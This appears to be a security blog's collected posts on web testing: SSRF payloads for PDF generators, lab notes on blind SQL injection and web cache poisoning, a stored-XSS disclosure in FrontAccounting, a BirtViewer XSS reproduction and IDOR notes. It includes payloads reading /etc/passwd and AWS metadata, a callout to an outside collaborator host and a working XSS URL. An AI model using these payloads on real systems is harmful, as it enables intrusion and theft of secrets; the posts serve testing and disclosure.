Skip to content

Category: Vulnerability Info

Testing for SSRF during PDF Generation

https://unsplash.com/photos/QvU0LNnr26U

How to test for SSRF during PDF Generation?

User input is reflected in the PDF.

HTML elements are parsed by the PDF Generator Libraries.

Research the specific types of data that can be parsed by the target’s PDF Generator Library in order to generate a payload

Payloads

If HTML is parsed directly:

Recon

<script>
  document.write(window.location.href); 
  document.write(window.location.hostname); 
  document.write(window.location.pathname); 
  document.write(window.location.protocol); 
  document.write(window.location.host); 
  document.write(window.location.port); 
</script>

Redirect with iframe

<iframe+src="http://localhost/?redirect=http://xxxx.burpcollaborator.net/x.png">

AWS

<iframe src="http://169.254.169.254/user-data">

Files

<iframe src="file:///etc/passwd">

WeasyPrint PDF Test

Trying to embed a secret file in the PDF? You can try this payload if the target is parsing a HTML page. One thing that you can do is host the index html file in Heroku etc. and pass it to the target’s PDF generation endpoint.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>WeasyPrint PDF Test</title>
    <link rel=attachment href="file:///{path_to_secret_file}">
</head>
<body>
    <h1>WeasyPrint PDF Test</h1>
</body>
</html>

In the PDF reader, open up the Attachment section and view the embedded file.

Resources

https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Ben-Sadeghipour-Owning-the-clout-through-SSRF-and-PDF-generators.pdf

Notes on Blind SQL Injection

https://portswigger.net/web-security/sql-injection/cheat-sheet

Lab: Blind SQL injection with conditional responses

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses

In this lab, we are using the responses to enumerate the password of the “administrator” account. First, we need to perform a check on whether the “administrator” account exists and the length of the password. Once this is done, we will perform a substring query to enumerate each of the character of the password.

You can use Burp Repeater or Intruder to enumerate the password. I find both methods to be time-consuming. I wrote a script to enumerate the password instead. The script will look for “Welcome” value in the response. If it is true, the script will note down the character and continue to the next position until all the password character is enumerated.

Notes on Web Cache Poisoning

An attacker can use Web Cache Poisoning technique to send malicious response to other users. The poisoning will happen when certain unkeyed inputs are not validated by the application and allowing the malicious response to be cached.

Basic Example: Unkeyed Header

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header

In the request, the attacker discovered that the X-Forwarded-Host value will be reflected in response. The application tries to load a tracking.js file from cache resources. When the attacker passes a specific host in X-Forwarded-Host parameter, the tracking.js file will be loaded from another path <malicious host>/resources/js/tracking.js. Consequently, this allows the attacker to control the content of tracking.js file and load malicious JavaScript (potentially leading to issues such as XSS).

Unkeyed header

Case of Unknown Header

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-targeted-using-an-unknown-header

In most situations, you will need to guess the unkeyed header. If you are using Burp Suite, then Paraminer will be a useful plugin to use.

First, go to the Target tab and select the paths in scope. Then right click on all these selected paths and click Guess Header.

If you are using Burp Pro, then you can see the result appearing in Dashboard - Issue activity.

Some sites may use the Vary header in the response to decide when to use the cached response or to refresh the response from the server. In the lab example, we can see that User-Agent is used to decide when the cached is used. To target your victim, you will need to know their User-Agent and then use the User-Agent values in your poison payload.

In our poison request, we have used X-Host and the victim’s User-Agent. Keep sending the request until you see the X-Cache is hit
In the Vary header, we see that User-Agent is used to decide the cache response decision.


DOM XSS from Web Cache Poisoning

https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria

In this example, we see how Web Cache Poisoning can cause DOM XSS in an application. In some cases, an application is taking some properties value from a JSON and then use the value dynamically in a DOM. The assumption is that these properties values can be trusted since they are controlled by the application. However if an application is susceptible to Web Cache Poisoning, then these properties value can be controlled by the attacker.

In the example, we first see that that there is a host injection issue. If you use X-Forwarded-Host, then the injected host value will be reflected in the response.

In the response, we can also see that the injected host name will be used for retrieving a JSON value. Using the given exploit server (in the lab), we can see the access log showing that a user is making a GET request to retrieve geolocate.json file.

If we examine the JavaScript carefully, we can see that the country value is taken from the JSON file and then assigned to innerHTML. This is a classic DOM XSS attack surface to take note.

After doing some tracing of the original JSON value, we can see that there is a property called ‘country’ which contains the value that will be passed to the innerHTML.

UI showing the JSON value

Since we found the attack surface, we can now create a JSON file in the exploit server. This will return a JSON which contains the DOM XSS payload. Access-Control-Allow-Origin need to be wildcard in order for the object to be shared with the application.

After this is completed, then we can see that the Web Cache Poisoning will be successful and the DOM-XSS payload will be executed.

References

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection

https://portswigger.net/web-security/web-cache-poisoning

https://portswigger.net/research/practical-web-cache-poisoning

Finding Stored XSS in File Upload

FrontAccounting ERP is open source, web-based accounting software for small and medium enterprises. It supports double entry accounting providing both low level journal entry and user friendly, document based interface for everyday business activity with automatic GL postings generation.”
Source: https://github.com/FrontAccountingERP/FA

I have an opportunity to work with the developer of FrontAccounting to fix a Stored XSS issue due to unrestricted File upload. This was an educational experience to learn about the usability and security tradeoff in Open Source Project when fixing the issue. More details can be found in the bug tracker.

Issue Summary

In the attachment function, the user is allowed to attach a file to a particular existing transaction. However, I observed that there is no restriction on the type of files that are allowed to be uploaded.

I managed to upload a malicious SVG file that contains JavaScript. Since there was no validation on the file extension, the file was uploaded successfully.

When I opened up the attachment item, I can see that the malicious SVG file was uploaded.

Now, if another user have opened this attached file, then an alert box will appear.

Recommendations

  • The best method is to adopt a Secure by Default approach by restricting the file type to be uploaded. This approach will reduce the attack surfaces. For example, does the application require SVG file to be uploaded? Perhaps the filetype be restricted to PDF, PNG, JPEG, DOCX, etc.
  • If SVG is required, sanitize the uploaded SVG file:
    • https://github.com/darylldoyle/svg-sanitizer
  • If sanitization is not possible, please follow these approaches:
    • Load the SVG from image tags as this will prevent scripts from running.
    • Use “content-disposition: attachment” – this force the file to be downloaded.
    • Set Content Security Policy (CSP) to disallow inline JavaScript.
    • Combine (2) and (3) for double protection.

References:
https://security.stackexchange.com/questions/148507/how-to-prevent-xss-in-svg-file-upload

https://book.hacktricks.xyz/pentesting-web/file-upload#imagetragic

https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

Write-up on CVE-2019-11776 – Reflected XSS in BirtViewer

This is a write-up on public disclosed CVE-2019-11776 where a Cross Site Scripting (Reflected) was found in the __format URL parameter by  Vineet Pandey.

So far in my journey, I have done quite a few of Pentesterlab exercises. From these exercises, I learned how important it is to perform a practical testing of any disclosed vulnerabilities as it builds up your system administrative skills (setting up server etc.) and imagine the attack flow for any future applications that you will be testing. You can jump straight into the exploit demonstration first if that interests you more.

Configuring Tomcat

Install Tomcat in your machine (using the exe or zip) and go to the folder location. In this write-up, I am using Tomcat version 8.5. You will find a similar directory as below:

Navigate to the conf folder and open the tomcat-users.xml file (note that the password is for testing and should not be used for production). Add the following lines between the <xml> and <tomcat-users> tag as you need the credentials to login to the manager gui later on.

<role rolename="manager-gui"/>
<user username="tomcat" password"tomcat" roles="manager-gui"/>

Configuring BirtViewer

Download BirtViewer (any version that is <= 4.7). I am using version 4.7 for this write-up. You can look for Birt Report Engine (https://download.eclipse.org/birt/downloads/build.php?build=R-R1-4.7.0-201706222054).

After you download the zip file, you should unzip the content into a folder. In this particular folder, look for the WebViewerExample folder.

Copy the entire WebViewerExample folder to Tomcat’s webapps folder. Rename the copied folder to birt-viewer.

Go back to the Tomcat’s bin folder and run the startup script (in Windows, it will be startup.bat. The resources will now be hosted under localhost:8080. Then open the following URL in your browser (http://localhost:8080/manager/html). The credential will be prompted (enter the credential that you earlier used in the tomcat-users.xml file). You should see that birt-viewer is running.

Demonstrating the Vulnerability

After Tomcat and BIRT Viewer are configured, you should open this endpoint:

http://localhost:8080/birt-viewer/frameset?__report=test1.rptdesign&sample=my+parameter

You will see a Parameter UI box appearing. In the CustomerNumber, enter 1 and then click OK. This will generate a report from test1.rptdesign template.

Now click on the print report button (see circled icon in the screenshot below). Choose HTML and click OK.

There will be a new Window popping out and the prompt you to print the report. Now, cancel the print action. What we are interested is the URL of this Window pop-out. Copy this URL and then close the Window.

http://localhost:8080/birt-viewer/output?__report=test1.rptdesign&sample=my+parameter&&__format=html&__pageoverflow=0&__overwrite=false

Now, let’s check how our input is reflected in the HTML page. First, append the following payload in __format parameter:

view-source:http://localhost:8080/birt-viewer/output?__report=test1.rptdesign&sample=my+parameter&&__format=htmlabc&__pageoverflow=0&__overwrite=false

From the HTML source, you can see that our appended payload is appearing in the <script> tag. It seems like the viewer is generating the format string dynamically. If we add abc, then the string will become htmlabc (as seen below).

Now, let’s try to close the html string and then insert another value. You will find that we can actually break out of the format variable to call another method.

view-source:http://localhost:8080/birt-viewer/output?__report=test1.rptdesign&sample=my+parameter&&__format=html%27;abc//&__pageoverflow=0&__overwrite=false

After observing this dynamic creation of string, we can insert an alert payload to confirm that XSS exists in the Birt Viewer.

http://localhost:8080/birt-viewer/output?__report=test1.rptdesign&sample=my+parameter&&__format=html';alert(12345)//&__pageoverflow=0&__overwrite=false

Remediation

Upgrade to at least version 4.8.

On Insecure Direct Object References (IDOR)

[Work in Progress]

Questions to take note about the application:

How does the application identify the user?
We want to know how the user is being identified by the application server. Such information may be found in cookies, request url, etc. Example of information to take note includes user_id, id, account_id, etc. There might also be cases where the user is identified only by session id. Sometimes the information is encoded and store as tokens. Sometimes developers might try to fool the users by encrypting their usernames and then use it as an identifier.

What are the data objects can be retrieved and the actions that the user can perform?
We need to know what are the data that are being retrieved by the users and observe the method that is used. Also we want to see what kind of actions can be performed by the different user roles so that we test if the privileges can be escalated.

Where can I find IDORs?

  • Look at API documents of the applications and see if any id is used.
  • Look at applications that process many documents such as images, files, etc that can be retrieved by the user in the future.

Practices:

  • OWASP Juice Shop – View another user’s shopping basket.

Useful Resources:

Disclosure Reports